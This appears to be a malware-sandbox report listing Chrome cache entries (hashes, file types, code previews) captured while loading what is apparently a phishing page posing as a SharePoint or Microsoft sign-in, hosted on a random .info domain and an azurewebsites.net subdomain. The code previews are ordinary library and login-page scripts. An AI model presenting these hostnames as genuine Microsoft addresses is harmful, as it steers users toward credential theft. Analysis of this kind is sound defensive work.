Preview:	...........[}w.F....Bh..i3.M.t.rU.....]..M...@.(..........@..N..I-k..;w.....U.F..v....N....]....MC......U.]o>..mJ.w..~.5<......Z.h~8..8J..m......0.&Z:.Z.D_. .Z.....<.f..t..].I:..........b. ...}.ja......'..x......m6..c...$..........b\|s......O.a..cE..u.2..6jG!.A.....P..?q@?"..).Mk.0.[."V..M..4...4.~}.?.i..D.}h\|..$x.Ajm.S..H..-.x.If..]..1.D0.F......pq.(.\|...y\...5....y2.q.Fq...[.\|..n.b.i_D......xuR......I.TS.4..}\|<...o....MG.+@.......\.?."...+[...A..&...{]......u..+p?......\|...j....7...=H..cwp.38.;%c.....O..............p...X.g!....r...d..5.%x.....;...j6p...p......c.Nd.:...&.....%.. tR.d.@.. ...1..6....i....:...s=..V...iN..1../tH..p<..Mo.......`&.7uA;..(lC.......4...?..0..[S@...D..\|....=.wh2...<.. ...)..F...!. .C...k...S.pPt......s..K.V...w......7....Zn.d..t]l.........5=.(..#.....l._.Ip......-O.6.,......q4....!XS`6k..k.....9k....{~*.....X....q......l.>x..={j.n..W......e..Q..I/..;a..MS>.!5v.d.B+.o.....q...j.q..Z..=..@g.1q..,yBV91m.j>..4.o...

Chrome Cache Entry: 230

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (361), with no line terminators
Category:	dropped
Size (bytes):	361
Entropy (8bit):	4.6743574635866665
Encrypted:	false
SSDEEP:	6:1sEF4lLVOoPkhX9FHLt3CJH6LQu5KQXsnAuAuvqAZ7RnVl5+HNQcgET:/F4ffkhtdwaLZK7nJzRnVb+tQjk
MD5:	EDA4E638FDD1B8DE8F97EC781E8242D6
SHA1:	A8C0716A4BCCF2805899403AF14E7B9216B19573
SHA-256:	5423F185195F046D0F3893F674E072BE43E47C6124DD6CCBE214E896B1944D43
SHA-512:	6B0BBB532CA0F901059517960261C0C6E1577B31F4E207C3909ABA5FA0D64E03C18E5EEE10F8A6773A4870CDFC3F0D642F761C8D8E7B6643D023161C23554BF2
Malicious:	false
Reputation:	low
Preview:	jQuery.timeago.settings.strings={prefixAgo:null,prefixFromNow:null,suffixAgo:"ago",suffixFromNow:"from now",seconds:"less than a minute",minute:"about a minute",minutes:"%d minutes",hour:"about an hour",hours:"about %d hours",day:"a day",days:"%d days",month:"about a month",months:"%d months",year:"about a year",years:"%d years",wordSeparator:" ",numbers:[]};

Chrome Cache Entry: 231

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (3504), with CRLF line terminators
Category:	downloaded
Size (bytes):	3506
Entropy (8bit):	5.166757803630507
Encrypted:	false
SSDEEP:	96:3qO9I9Sz9KHULI5m4UidBGLQM4ysushswsosry:a2IYz95qTdBaO
MD5:	C258ACE6FE0817DA4C3D229DF32233A1
SHA1:	DEACCF45E0AC204197A8C17E78B592D77FD26E6A
SHA-256:	CE17CB9DCD2E9F70B72412DB3AA24C1A50BACBCEE90379E1FA16B5D43DCF0229
SHA-512:	ED56D8F63B4F1D68980B312A42A01DEE665CD46D86C471A9A832067C88CF25FC7141631D790E425EDFF00C52DBE842B5B8515BBA823E6CEDEAA3FB4DE2827640
Malicious:	false
Reputation:	low
URL:	https://ywnjb.95pib2ozwrw4w2b4t1ubrxpjc76dos3nophvirht.info/Me.htm?v=3
Preview:	<script type="text/javascript">!function(t,e){for(var s in e)t[s]=e[s]}(this,function(t){function e(n){if(s[n])return s[n].exports;var i=s[n]={exports:{},id:n,loaded:!1};return t[n].call(i.exports,i,i.exports,e),i.loaded=!0,i.exports}var s={};return e.m=t,e.c=s,e.p="",e(0)}([function(t,e){function s(t){for(var e=f[S],s=0,n=e.length;s<n;++s)if(e[s]===t)return!0;return!1}function n(t){if(!t)return null;for(var e=t+"=",s=document.cookie.split(";"),n=0,i=s.length;n<i;n++){var a=s[n].replace(/^\s(\w+)\s=\s*/,"$1=").replace(/(\s+$)/,"");if(0===a.indexOf(e))return a.substring(e.length)}return null}function i(t,e,s){if(t)for(var n=t.split(":"),i=null,a=0,r=n.length;a<r;++a){var c=null,S=n[a].split("$");if(0===a&&(i=parseInt(S.shift()),!i))return;var l=S.length;if(l>=1){var p=o(i,S[0]);if(!p\|\|s[p])continue;c={signInName:p,idp:"msa",isSignedIn:!0}}if(l>=3&&(c.firstName=o(i,S[1]),c.lastName=o(i,S[2])),l>=4){var f=S[3],d=f.split("\|");c.otherHashedAliases=d}if(l>=5){var h=parseInt(S[4],16);h&&(c.

Chrome Cache Entry: 232

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (383)
Category:	downloaded
Size (bytes):	431
Entropy (8bit):	5.3211848705054035
Encrypted:	false
SSDEEP:	12:+dmcXylmcXytqeGYPXaPXA/y/NpK2QiT33Uxsekf41iOSVV:imcClmcCtfPPXaPXA/y/3rT0xsai/V
MD5:	25DFE0A5F08DAE66177D60C599904208
SHA1:	6888D55C9D52DF74703862C1274459D1BFCDFC69
SHA-256:	A3765EC0AC346488AE0E3BED0E98F5744AC56C19BBD371073195ADF8AE2F77A9
SHA-512:	EA218D6192FE237274E5E789B95EF848DFB261910322A2D49D624E1A4677755AF0CB15D201F2FE164451E5665D1A5658D86F0ADCC6DD039CADADB1A4BEA99626
Malicious:	false
Reputation:	low
URL:	https://content.powerapps.com/resource/powerappsportal/controls/host/90.24327273f1.chunk.js
Preview:	"use strict";(self.webpackChunk_microsoft_powerpages_host=self.webpackChunk_microsoft_powerpages_host\|\|[]).push([[90],{5090:(t,e,r)=>{function s(){return s=Object.assign?Object.assign.bind():function(t){for(var e=1;e<arguments.length;e++){var r=arguments[e];for(var s in r)Object.prototype.hasOwnProperty.call(r,s)&&(t[s]=r[s])}return t},s.apply(this,arguments)}r.d(e,{A:()=>s})}}]);.//# sourceMappingURL=90.24327273f1.chunk.js.map

Chrome Cache Entry: 233

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with CRLF line terminators
Category:	downloaded
Size (bytes):	30149
Entropy (8bit):	5.083743343936363
Encrypted:	false
SSDEEP:	768:Sws4L3Ak+wcXSfDKtH8Ytq7CjBpX92HA30/jRiF:Sz9if6jBpXUHA30/jR8
MD5:	59380F382417BF76CCD73D0E7FC38B7E
SHA1:	9A1227F495EDF0331145EE9FEE187F2F0D1E00B5
SHA-256:	2FD89992331C73B2D2383CB19D799425B42AF4EE09290B65B380C29F2412F3C8
SHA-512:	E6389F488969BE28AEC5A734681A47028E50323FF6D4E4A2C6B798B3073FDD0392195F8C367E8ED5515F9DB23A19D30FED0DD5E676F5E0F6B2B818E1497185AE
Malicious:	false
Reputation:	low
URL:	https://documentsharepoint-officeb875553995f4546655-dcc6cegmfqbrgudr.canadaeast-01.azurewebsites.net/_portal/c42e2911-af52-4c54-a636-71d262c0d207/Resources/ResourceManager%EF%B9%96lang=en-US.js
Preview:	....window.ResourceManager = {.. 'Cms_Sitemapchildren_Update_Label' : "Children", .. 'EntityGrid_Url_NotFound' : "A required service URL wasn\u0027t provided.",.. 'FileBrowser_Header_Label' : "Choose a file.",.. 'ADX_EventSchedule_AcceptableDays' : "Acceptable days",.. 'Confirm_DeleteMultiple_Entity' : "Are you sure you want to delete these records?",.. 'ADX_Blog_ShortName' : "blog",.. 'ADX_BlogPost_ShortName' : "blog post",.. 'Entity_Create_ADX_BlogPost_Label' : "Blog post",.. 'Entity_Create_ADX_Blog_Label' : "Child blog",.. 'Entity_Create_ADX_Event_Label' : "Child event",.. 'Entity_Create_ADX_CommunityForum_Label' : "Child forum",.. 'Editable_DeleteMultiple_Tooltip_Suffix_Singular' : "Child record?",.. 'Editable_DeleteMultiple_Tooltip_Suffix_Plural' : "Child records?",.. 'Entity_Create_ADX_Shortcut_Label' : "Child shortcut",.. 'ADX_BlogPostComment_ShortName' : "comment",.. 'ADX_PageComment_ShortName' : "comment",... 'Entity_Create_ADX_BlogPost_Tooltip' : "Create a new blog post",..

Chrome Cache Entry: 234

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	290
Entropy (8bit):	4.285251494633037
Encrypted:	false
SSDEEP:	6:xXMEauq0TTwXLAhHzAQxmtLGvauq0TTwXLAhHzAQxmIwAn:RMiqommTxmtUqommTxmLA
MD5:	342EB5262D32E1B9DF9450C66AC54F43
SHA1:	2B26C610C6581B8F9940E25BDACA29BD8C5A01BF
SHA-256:	C5A191475EB82B4A9BED085D3EEDB34CDC14B74F7E280E926D8E350AB571BD7A
SHA-512:	91125CE65391BF6B93B2637DED1EBCDBBE2F02FCC685F590C58DC719985CC56C545C5AC8F6841D3726B2A64AD2CA93C5626531DD80005FE1AB2D09573934E144
Malicious:	false
Reputation:	low
Preview:	{. "Grid": {. "library": "data_grid",. "remoteEntry": "/data_grid/remoteEntry.bfcbc1026a.js",. "control": "./Grid". },. "Form": {. "library": "data_grid",. "remoteEntry": "/data_grid/remoteEntry.bfcbc1026a.js",. "control": "./Form". }.}

Chrome Cache Entry: 235

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (361), with no line terminators
Category:	downloaded
Size (bytes):	361
Entropy (8bit):	4.6743574635866665
Encrypted:	false
SSDEEP:	6:1sEF4lLVOoPkhX9FHLt3CJH6LQu5KQXsnAuAuvqAZ7RnVl5+HNQcgET:/F4ffkhtdwaLZK7nJzRnVb+tQjk
MD5:	EDA4E638FDD1B8DE8F97EC781E8242D6
SHA1:	A8C0716A4BCCF2805899403AF14E7B9216B19573
SHA-256:	5423F185195F046D0F3893F674E072BE43E47C6124DD6CCBE214E896B1944D43
SHA-512:	6B0BBB532CA0F901059517960261C0C6E1577B31F4E207C3909ABA5FA0D64E03C18E5EEE10F8A6773A4870CDFC3F0D642F761C8D8E7B6643D023161C23554BF2
Malicious:	false
Reputation:	low
URL:	https://content.powerapps.com/resource/powerappsportal/dist/default-1033.moment_2_29_4.bundle-eda4e638fd.js
Preview:	jQuery.timeago.settings.strings={prefixAgo:null,prefixFromNow:null,suffixAgo:"ago",suffixFromNow:"from now",seconds:"less than a minute",minute:"about a minute",minutes:"%d minutes",hour:"about an hour",hours:"about %d hours",day:"a day",days:"%d days",month:"about a month",months:"%d months",year:"about a year",years:"%d years",wordSeparator:" ",numbers:[]};

Chrome Cache Entry: 236

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	80
Entropy (8bit):	4.509183719779188
Encrypted:	false
SSDEEP:	3:/eOSaKSoyTu1VNK0yTu1UZYf:/DJn6fUT6Bf
MD5:	F4A0E619B855697F4DB1A1B22FE37E8C
SHA1:	3D1CA30185839E05C6D876C7E8477604BFAC6CDA
SHA-256:	CEC86F53B19C31BC124614007553A6EBC5434F9B1D2F03B1DB0393B22AB16EA2
SHA-512:	8FF46BF8D3B93DA72109C92A26D5FF4C8E16FD6CD98FBB0E6A9E7E31E55220E8B2D71B851219199DF9C6D2074137192F55F84B4B89AF9C4C4D1B9D6FDB94EFC5
Malicious:	false
Reputation:	low
Preview:	$(()=>{if(window.loadAllPcfControlsOnPage){window.loadAllPcfControlsOnPage()}});

Chrome Cache Entry: 237

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	776
Entropy (8bit):	5.82892391294573
Encrypted:	false
SSDEEP:	24:Y2+S5HXnRElwvaXUXobocBOCoCtqE6q/j90PFxyOB:Y2+mQwvaXXocBOFCUE75ipB
MD5:	30305B9B8296912014DE9BC3A64B74FE
SHA1:	626136C492D17C07EAB24ED90540B5055973515B
SHA-256:	2DAA50FE74EA6C438CBE4A43FAF89C0B0968A72CC02D0E8A40C924570B90550A
SHA-512:	A9FB2B5D6218072B50ACB260FE9D06B2FAEADA99794C9F36CFF8C5BA68C3CA5B8FCC86CF37D0282A90FE1127FBC3BC03BE471834CE17626BD9A5F3651A6D683D
Malicious:	false
Reputation:	low
Preview:	{"features":{"enc_get_req":true},"c":{"type":"hsw","req":"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmIjowLCJzIjoyLCJ0IjoidyIsImQiOiJBMzZTWWlzRENtUkl5R2w2azFDQkJqL2hPcVNSbHBqV3F3MFRGSENYRmhYaWF0ZzcvQTBwVVd5VW9oOHpEUG4rTGJJU1lWN2lwM0lNVGtYTmpmTENsODErYWplMjBsU0grdU5jYTZwMVVIRVR4SnZUZmw2cVMxTW9yaXlzUjFzcnZjZG1DblkveDFhd2pMNFVIWkFQaWlkTy95dUpLbDgyc2hxYUVRWGV5ZkJxckVpb2NQc0R4dWYrTGNZc3dqNmROV2NpamVXUzhnUS9XSnAvUnN4RG95YlNxemxaRVd4VnM1dkRtdzVmcVJtbUdONUI1NVpiUmozaHlSOGY5dFU9T2xJNXZ1NVYyemlLb3FrMyIsImwiOiIvYy9jMGU0ODgxYzk2MjNiZDQxNWFkMTZjMThmOGI2ZjViYmNlOWExMmY2ZmI4YTVlN2JmNmRkMDU1ZmQyODE2OTk5IiwiaSI6InNoYTI1Ni13c3ZLRmphcnNXYXBzUWd3QmVGODF5VUQ3Uk9PQWc2WWdONlhYUWtqTFZFPSIsImUiOjE3MzY5NTIxMzUsIm4iOiJoc3ciLCJjIjoxMDAwfQ.q1j8QiKR1v010cQafCoAq5FBYTeO46_SlU_Jh0WwGEU"},"pass":true}

Chrome Cache Entry: 238

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (871)
Category:	downloaded
Size (bytes):	920
Entropy (8bit):	5.23981480367007
Encrypted:	false
SSDEEP:	24:imcCrImcCreivUgRFYXMLMrUXzAsc0oF9Avo3FeGuYQ1wZpIdn7V:imcCrImcCrFfWOMrUX8sc0oFevo1DuhP
MD5:	810463C3E7DB6F6CD79470456FA4E09E
SHA1:	47F48B0E06C323A21794DC9838A41310B2E0B7BB
SHA-256:	E40D6A96069A22C6D0DAB01A689A082599DC32B3BCBB1A6AE35896817EA32694
SHA-512:	4546CAD5EB9F359231755BDCE91AD637613BC9B5538781E2FB0B69550FD7B28B52ABDC3FCD1A9F8B719B7602577749415CD221C87D5965C2FC25162E97290B53
Malicious:	false
Reputation:	low
URL:	https://content.powerapps.com/resource/powerappsportal/controls/mf_shared/451.6012e266c2.chunk.js
Preview:	"use strict";(self.webpackChunk_microsoft_powerpages_mf_shared=self.webpackChunk_microsoft_powerpages_mf_shared\|\|[]).push([[451],{6451:(e,t,s)=>{s.r(t),s.d(t,{createStore:()=>o,default:()=>a});const r=e=>{let t;const s=new Set,r=(e,r)=>{const o="function"==typeof e?e(t):e;if(!Object.is(o,t)){const e=t;t=(null!=r?r:"object"!=typeof o)?o:Object.assign({},t,o),s.forEach((s=>s(t,e)))}},o=()=>t,a={setState:r,getState:o,subscribe:e=>(s.add(e),()=>s.delete(e)),destroy:()=>{console.warn("[DEPRECATED] The `destroy` method will be unsupported in a future version. Instead use unsubscribe function returned by subscribe. Everything will be garbage-collected if store is garbage-collected."),s.clear()}};return t=e(r,o,a),a},o=e=>e?r(e):r;var a=e=>(console.warn("[DEPRECATED] Default export is deprecated. Instead use import { createStore } from 'zustand/vanilla'."),o(e))}}]);.//# sourceMappingURL=451.6012e266c2.chunk.js.map

Chrome Cache Entry: 239

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1864
Category:	dropped
Size (bytes):	673
Entropy (8bit):	7.6596900876595075
Encrypted:	false
SSDEEP:	12:Xl0t8TUViiYi5m6FhSBXWPsigK99WCqKMvBBFThSqfLd81CK6bC+k7LqZLsFlD:XFUVpkNK0Rwid81p6btk7LqZ6D
MD5:	0E176276362B94279A4492511BFCBD98
SHA1:	389FE6B51F62254BB98939896B8C89EBEFFE2A02
SHA-256:	9A2C174AE45CAC057822844211156A5ED293E65C5F69E1D211A7206472C5C80C
SHA-512:	8D61C9E464C8F3C77BF1729E32F92BBB1B426A19907E418862EFE117DBD1F0A26FCC3A6FE1D1B22B836853D43C964F6B6D25E414649767FBEA7FE10D2048D7A1
Malicious:	false
Reputation:	low
Preview:	...........U.n.0....}i..P..C..7l/..d........n...G....yl. .E.......Tu.F.........?$.i.s..s...C..wi$.....r....CT.U.FuS..r.e.~...G.q.....~M..mu}.0.=..&.~.e.WLX.....X..%p..i......7+.........?......WN..%>...$..c..}N....Y4?..x.1......#v...Gal9.!.9.A.u..b..>..".#A2"+...<qc.v....)3...x.p&..K.&..T.r.'....J.T....Q..=..H).X...<.r...KkX........)5i4.+.h.....5.<..5.^O.eC%V^....Nx.E..;..52..h....C"I./.`..O...f..r..n.h.r]}.G^..D.7..i.].}.G.].....{....oW............h.4...}~=6u..k...=.X..+z}.4.].....YS5..J......)......m....w.......~}.C.b_..[.u..9_7.u.u.....y.ss....:_yQ<{..K.V_Z....c.G.N.a...?/..%. .-..K.td....4...5.(.e.`G7..]t?.3..\..... ....G.H...

Chrome Cache Entry: 240

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	625
Entropy (8bit):	7.484713757728487
Encrypted:	false
SSDEEP:	12:6v/7m/6Ts/rQmK0CiAUo4yVKaqswCDW0WAwsg38up6f0M8o8yXOBwrFuXqam4:b/6vmEVx4yVvDW0is88eHozDrgXqF4
MD5:	1CCFEA34F655127024E56A9182D069B2
SHA1:	F01C37FC36D6F283021BFE2021F884756ACC0830
SHA-256:	DDEB1C61FE3FC1C4195D6AF3CA1514F8EB78DE09E6DE3DBFCC960DDFDA93EE54
SHA-512:	E54442CFC5247B8D7137EB2389CB1E9B66EA2CDF4DBD062BB680D51FB50323CBECB908A6764CA29CEAEBB057C1FEBEE0FB0D7A1E367030531B63CE92B0F9A0C6
Malicious:	false
Reputation:	low
URL:	https://content.powerapps.com/resource/powerappsportal/img/web.png
Preview:	.PNG........IHDR................a....pHYs.................sRGB.........gAMA......a.....IDATx..R.q.@..=...e:..Dt.+.t.+@. #.'..A.{,U.]Ap.8..T.. .3B.......3.......o.i..n..L.........}..x............Am.p..asd.$..WL.'...I.g.G.-M...c....Q.-..?......^.C..%8.^...(.lW....M..r.....x...'..O..9a..H..L..-.MSD.v.!.1t.{w..S..a..?..1.....q..l.Z.>..fO.t.?...8......9uK..pTU;....f..@..w....6......Dx.....i.._.z..h..b.y.f.S......1...+.0......1....e...,.6%.s...A.@.Qo.#.z.ht.,.K..........X...wn..4t....V.D9}p.}+H.S."..M_.<.H....{Z.Xj....0...g.....Uv.{ng+PWxl....'jkfKB..&..h. ....x...Z@.z.\jq....N........u.W.....IEND.B`.

Chrome Cache Entry: 241

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (61934), with no line terminators
Category:	downloaded
Size (bytes):	630500
Entropy (8bit):	5.519123662448293
Encrypted:	false
SSDEEP:	12288:Mm0m0zzqWZfakJTejucy2jJfQHe3Jk1AyxknPoOMhSZ3xNpyfVTPoTju:/b0zz1akJTejucy2jJfQHe3Jk1Ayxkno
MD5:	88CB6BE085E688626F0DB33FD21E94C6
SHA1:	DDFED3438A109DB2ED257690E48C4BD8A9C4DB73
SHA-256:	ED0B89FFB4522C3F00D070FB161F7272C0857DC7E1F40BDD6974261CF96210C1
SHA-512:	64E612F86734D97C68C79A94642A47320031818BC353094ACD5AE7ED2E0EC8A639FCA65DDFFE1D709AFB26506799895484AD3802AD08240BFCA4009B6F08C225
Malicious:	false
Reputation:	low
URL:	https://content.powerapps.com/resource/powerappsportal/controls/host/559.69ac38aa0b.chunk.js
Preview:	(self.webpackChunk_microsoft_powerpages_host=self.webpackChunk_microsoft_powerpages_host\|\|[]).push([[559,90],{6815:(e,t,n)=>{"use strict";n.d(t,{s:()=>o});var r=n(5136);function o(e,t,n){void 0===n&&(n=!0);var o=!1;if(e&&t)if(n)if(e===t)o=!0;else for(o=!1;t;){var i=(0,r.P)(t);if(i===e){o=!0;break}t=i}else e.contains&&(o=e.contains(t));return o}},8715:(e,t,n)=>{"use strict";n.d(t,{w:()=>o});var r=n(5136);function o(e,t,n){return null!=n\|\|(n=document),e&&e!==n.body?t(e)?e:o((0,r.P)(e),t):null}},5136:(e,t,n)=>{"use strict";function r(e,t){return void 0===t&&(t=!0),e&&(t&&function(e){var t,n;return e&&(n=e)&&n._virtual&&(t=e._virtual.parent),t}(e)\|\|e.parentNode&&e.parentNode)}n.d(t,{P:()=>r})},3539:(e,t,n)=>{"use strict";n.d(t,{s:()=>i});var r=n(8715),o=n(6718);function i(e,t,n){var i=(0,r.w)(e,(function(e){return t===e\|\|e.hasAttribute(o.r)}),n);return null!==i&&i.hasAttribute(o.r)}},6718:(e,t,n)=>{"use strict";n.d(t,{V:()=>o,r:()=>r});var r="data-portal-element";function o(e){e.setAttribu

Chrome Cache Entry: 242

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	dropped
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
Reputation:	low
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 243

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 15755
Category:	downloaded
Size (bytes):	5525
Entropy (8bit):	7.961202222662501
Encrypted:	false
SSDEEP:	96:dySl6/e7OAQD3cS66g8cxO4qXgy66F0+fgENU28TjN3KY6meSsj0ktMvB4YJix2I:dNl6/zFDW6dlXV665ReB67j0sEBWxl
MD5:	28CE5BF8BACB96D1C2CFA0092145C6EE
SHA1:	303A4629C4467AF2C551EC9E6353464C8C25827D
SHA-256:	6B89EEC14865DB53FE20FB3C70B0853362E21669DACE19C06172F673B2EDC5CD
SHA-512:	6A10794F105EF5C6F7F7DC2C89152A8342E6D9D8D9490783863ED2737FFD5982E916F72E0A9ECB944AB9815FA70BD20C7256A91E2A62D971F80C23822B809A02
Malicious:	false
Reputation:	low
URL:	https://aadcdn.msauth.net/shared/1.0/content/js/asyncchunk/convergedlogin_pfetchsessionsprogress_1cd84c14a6b01fcd8515.js
Preview:	...........[}w.F....Bh..i3.M.t.rU.....]..M...@.(..........@..N..I-k..;w.....U.F..v....N....]....MC......U.]o>..mJ.w..~.5<......Z.h~8..8J..m......0.&Z:.Z.D_. .Z.....<.f..t..].I:..........b. ...}.ja......'..x......m6..c...$..........b\|s......O.a..cE..u.2..6jG!.A.....P..?q@?"..).Mk.0.[."V..M..4...4.~}.?.i..D.}h\|..$x.Ajm.S..H..-.x.If..]..1.D0.F......pq.(.\|...y\...5....y2.q.Fq...[.\|..n.b.i_D......xuR......I.TS.4..}\|<...o....MG.+@.......\.?."...+[...A..&...{]......u..+p?......\|...j....7...=H..cwp.38.;%c.....O..............p...X.g!....r...d..5.%x.....;...j6p...p......c.Nd.:...&.....%.. tR.d.@.. ...1..6....i....:...s=..V...iN..1../tH..p<..Mo.......`&.7uA;..(lC.......4...?..0..[S@...D..\|....=.wh2...<.. ...)..F...!. .C...k...S.pPt......s..K.V...w......7....Zn.d..t]l.........5=.(..#.....l._.Ip......-O.6.,......q4....!XS`6k..k.....9k....{~*.....X....q......l.>x..={j.n..W......e..Q..I/..;a..MS>.!5v.d.B+.o.....q...j.q..Z..=..@g.1q..,yBV91m.j>..4.o...

Chrome Cache Entry: 244

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (28287)
Category:	dropped
Size (bytes):	856286
Entropy (8bit):	5.353180762698638
Encrypted:	false
SSDEEP:	6144:+jtNO79kt1AgQHKUrG3C3X/9R9RJOXYdrAsj0r0ZgYeNk6G1Xx:+xzKWoX/97RAuAG0r0ZMNk6o
MD5:	9183DA3D63ADCBCA9C451BB60E6E1F10
SHA1:	9207557A291A137EF495DCEF25900E1E5D6F33AA
SHA-256:	66AA8F2E328C6461928C45E81A225A7C857185A6A27119BEBFD3F3C321AD555C
SHA-512:	4E2E8A538841E68A4ED206E324A9896A76EE678D0A4F36EE322786A46149EE4B3271A30262AAFD4713DD4C24AD34FD454BE114460169535A86455DCF891EAE62
Malicious:	false
Reputation:	low
Preview:	!function(n){var r={};function o(e){if(r[e])return r[e].exports;var t=r[e]={i:e,l:!1,exports:{}};return n[e].call(t.exports,t,t.exports,o),t.l=!0,t.exports}o.m=n,o.c=r,o.d=function(e,t,n){o.o(e,t)\|\|Object.defineProperty(e,t,{enumerable:!0,get:n})},o.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},o.t=function(t,e){if(1&e&&(t=o(t)),8&e)return t;if(4&e&&"object"==typeof t&&t&&t.__esModule)return t;var n=Object.create(null);if(o.r(n),Object.defineProperty(n,"default",{enumerable:!0,value:t}),2&e&&"string"!=typeof t)for(var r in t)o.d(n,r,function(e){return t[e]}.bind(null,r));return n},o.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return o.d(t,"a",t),t},o.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},o.p="",o(o.s=18)}({18:function(e,t,n){n(19).polyfill()},19:function(e,t,n){"use strict";function r(e,t){if

Chrome Cache Entry: 245

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (383)
Category:	dropped
Size (bytes):	431
Entropy (8bit):	5.3211848705054035
Encrypted:	false
SSDEEP:	12:+dmcXylmcXytqeGYPXaPXA/y/NpK2QiT33Uxsekf41iOSVV:imcClmcCtfPPXaPXA/y/3rT0xsai/V
MD5:	25DFE0A5F08DAE66177D60C599904208
SHA1:	6888D55C9D52DF74703862C1274459D1BFCDFC69
SHA-256:	A3765EC0AC346488AE0E3BED0E98F5744AC56C19BBD371073195ADF8AE2F77A9
SHA-512:	EA218D6192FE237274E5E789B95EF848DFB261910322A2D49D624E1A4677755AF0CB15D201F2FE164451E5665D1A5658D86F0ADCC6DD039CADADB1A4BEA99626
Malicious:	false
Reputation:	low
Preview:	"use strict";(self.webpackChunk_microsoft_powerpages_host=self.webpackChunk_microsoft_powerpages_host\|\|[]).push([[90],{5090:(t,e,r)=>{function s(){return s=Object.assign?Object.assign.bind():function(t){for(var e=1;e<arguments.length;e++){var r=arguments[e];for(var s in r)Object.prototype.hasOwnProperty.call(r,s)&&(t[s]=r[s])}return t},s.apply(this,arguments)}r.d(e,{A:()=>s})}}]);.//# sourceMappingURL=90.24327273f1.chunk.js.map

Chrome Cache Entry: 246

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	downloaded
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
Reputation:	low
URL:	https://aadcdn.msauth.net/shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico
